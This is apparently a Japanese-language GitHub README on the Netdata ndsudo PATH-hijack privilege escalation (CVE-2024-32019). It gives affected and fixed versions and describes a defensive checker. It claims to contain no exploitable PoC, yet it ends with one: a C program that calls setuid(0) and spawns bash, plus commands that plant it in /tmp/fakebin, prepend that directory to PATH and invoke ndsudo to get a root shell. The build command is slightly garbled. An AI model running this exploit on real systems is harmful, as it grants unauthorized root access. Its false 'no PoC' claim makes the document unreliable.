
ndsudo ローカル権限昇格Netdata の ndsudo ヘルパー(setuid root でインストール)は実行するコマンドを制限しますが、呼び出し元の PATH を使用してコマンドを解決します。影響を受けるバージョンでは、ローカルユーザーが悪意のあるバイナリを PATH の先頭に配置し、ndsudo にそれを root 権限で実行させることができます。Netdata 1.45.3 および 1.45.0-169 で修正済み。
影響を受ける: >= 1.44.0-60, < 1.45.0-169 および >= 1.45.0, < 1.45.3(アップストリームのアドバイザリによる)。
修正済み: 1.45.3(安定版)、1.45.0-169(ナイトリービルド)。GitHub
ローカルでの root への権限昇格。ndsudo が SUID でインストールされ、ユーザーがそれを呼び出せるシステム(通常は netdata グループのメンバー)で発生します。NVDGitHub
ndsudo は SUID-root であり、nvme-list、nvme-smart-log などのサブコマンドをホワイトリストで許可しています。
外部実行可能ファイルを名前で呼び出します(例:nvme)。これは絶対パスや安全な固定検索ではなく、PATH を使って解決されます。
書き込み可能なディレクトリがシステムパスより前に配置されている場合、攻撃者は似た名前のバイナリを導入し、それを root として実行させることができます。GitHub
このリポジトリには、以下の非悪用チェッカーが含まれています:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo(またはインストール先)の SUID/所有者を検査します。
PATH 内の一般的なシステムパスより前に現れる書き込み可能なディレクトリを列挙します。
ndsudo が実行しようとする可能性のあるホワイトリスト登録されたサブコマンド名の存在を確認します。
オプションで ndsudo --test <subcommand> を実行し、解決されたコマンドを実行せずに表示します(注意して使用し、最初にコードを読んでください)。GitHub
⚠️ 悪用可能な PoC は含まれていません。このプロジェクトは、防御者と研究者が責任を持って露出を評価し、パッチを検証するためのものです。
Netdata を 1.45.3(安定版)または 1.45.0-169(ナイトリービルド)にアップグレードしてください。
多層防御の一環として、SUID ヘルパーでは絶対パスまたはサニタイズされた最小限の PATH を優先してください。不必要な ndsudo アクセスを許可しないようにします。GitHubwiz.io
nvme.c として保存してください:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH を変更するexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata アドバイザリ (GHSA-pmhq-4cxq-wj93). GitHub
Wiz の概要. wiz.io
Snyk の解説. Vulnerability Guide
MITRE/CVE リスト. CVE